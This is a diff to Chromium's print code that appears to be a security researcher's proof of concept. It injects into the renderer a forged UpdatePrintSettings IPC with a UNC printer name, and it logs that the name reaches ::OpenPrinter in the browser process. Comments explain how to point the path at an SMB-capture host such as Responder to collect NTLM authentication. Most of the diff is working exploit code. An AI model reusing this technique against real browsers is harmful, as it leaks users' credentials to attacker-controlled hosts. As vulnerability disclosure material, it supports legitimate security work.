diff --git a/chrome/browser/printing/print_backend_service_manager.cc b/chrome/browser/printing/print_backend_service_manager.cc
index e5c205c188957..1258dfd85e9ce 100644
--- a/chrome/browser/printing/print_backend_service_manager.cc
+++ b/chrome/browser/printing/print_backend_service_manager.cc
@@ -166,6 +166,13 @@ void PrintBackendServiceManager::SetCrashKeys(const std::string& printer_name) {
   if (sandboxed_service_remote_for_test_)
     return;

+  // [POC instrumentation] Prove the renderer-controlled UNC name reaches the
+  // in-browser-process print-backend call. On Windows the next line resolves
+  // to PrintBackendWin::GetPrinterDriverInfo -> ::OpenPrinter(L"<name>").
+  LOG(ERROR) << "[POC] BROWSER PROCESS: SetCrashKeys -> in-process "
+                "GetPrinterDriverInfo / ::OpenPrinter with renderer-controlled "
+                "printer_name = \"" << printer_name << "\"";
+
   // TODO(crbug.com/40777132)  Remove local call for driver info, don't want
   // any residual accesses left into the printer drivers from the browser
   // process.
diff --git a/components/printing/renderer/print_render_frame_helper.cc b/components/printing/renderer/print_render_frame_helper.cc
index 7c63f29d4b6a5..f42cf7d60578c 100644
--- a/components/printing/renderer/print_render_frame_helper.cc
+++ b/components/printing/renderer/print_render_frame_helper.cc
@@ -1225,6 +1225,58 @@ void PrintRenderFrameHelper::ScriptedPrint(bool user_initiated) {
   // diagnose latency.
   TRACE_EVENT("latency", "PrintRenderFrameHelper::ScriptedPrint");

+  // ---- POC injection: simulate compromised renderer ---------------------
+  // A compromised renderer crafts a PrintManagerHost::UpdatePrintSettings IPC
+  // with printerType=kLocal and a UNC deviceName. On Windows the browser
+  // process passes this string to ::OpenPrinter() via
+  // PrintBackendServiceManager::SetCrashKeys(), causing an authenticated
+  // SMB/RPC connection to an attacker-controlled host from the unsandboxed
+  // browser process.
+  {
+    base::DictValue evil;
+    evil.Set(kSettingHeaderFooterEnabled, false);
+    evil.Set(kSettingShouldPrintBackgrounds, false);
+    evil.Set(kSettingShouldPrintSelectionOnly, false);
+    evil.Set(kSettingCollate, true);
+    evil.Set(kSettingCopies, 1);
+    evil.Set(kSettingColor,
+             static_cast<int>(mojom::ColorModel::kColor));
+    evil.Set(kSettingDuplexMode,
+             static_cast<int>(mojom::DuplexMode::kSimplex));
+    evil.Set(kSettingLandscape, false);
+    // Attacker-controlled UNC printer name. Replace 127.0.0.1 with an
+    // SMB-capture host (e.g. Responder/Impacket) to observe NTLM auth.
+    evil.Set(kSettingDeviceName, "\\\\127.0.0.1\\poc-printer");
+    evil.Set(kSettingScaleFactor, 100);
+    evil.Set(kSettingRasterizePdf, false);
+    evil.Set(kSettingPagesPerSheet, 1);
+    evil.Set(kSettingDpiHorizontal, 300);
+    evil.Set(kSettingDpiVertical, 300);
+    evil.Set(kSettingMarginsType,
+             static_cast<int>(mojom::MarginType::kDefaultMargins));
+    evil.Set(kSettingPreviewModifiable, true);
+    evil.Set(kSettingPrinterType,
+             static_cast<int>(mojom::PrinterType::kLocal));
+    base::DictValue media;
+    media.Set(kSettingMediaSizeWidthMicrons, 210000);
+    media.Set(kSettingMediaSizeHeightMicrons, 297000);
+    media.Set(kSettingsImageableAreaLeftMicrons, 0);
+    media.Set(kSettingsImageableAreaBottomMicrons, 0);
+    media.Set(kSettingsImageableAreaRightMicrons, 210000);
+    media.Set(kSettingsImageableAreaTopMicrons, 297000);
+    evil.Set(kSettingMediaSize, std::move(media));
+    evil.Set(kSettingPageRange, base::ListValue());
+
+    LOG(ERROR) << "[POC] renderer: sending UpdatePrintSettings with "
+                  "deviceName=\\\\127.0.0.1\\poc-printer";
+    mojom::PrintPagesParamsPtr unused;
+    GetPrintManagerHost()->UpdatePrintSettings(std::move(evil), &unused);
+    LOG(ERROR) << "[POC] renderer: UpdatePrintSettings returned";
+  }
+  // ---- end POC injection ------------------------------------------------
+  // (Normal scripted-print flow continues below; the malicious IPC has
+  //  already reached the browser process at this point.)
+
   blink::WebLocalFrame* web_frame = render_frame()->GetWebFrame();
   if (!IsScriptInitiatedPrintAllowed(web_frame, user_initiated))
     return;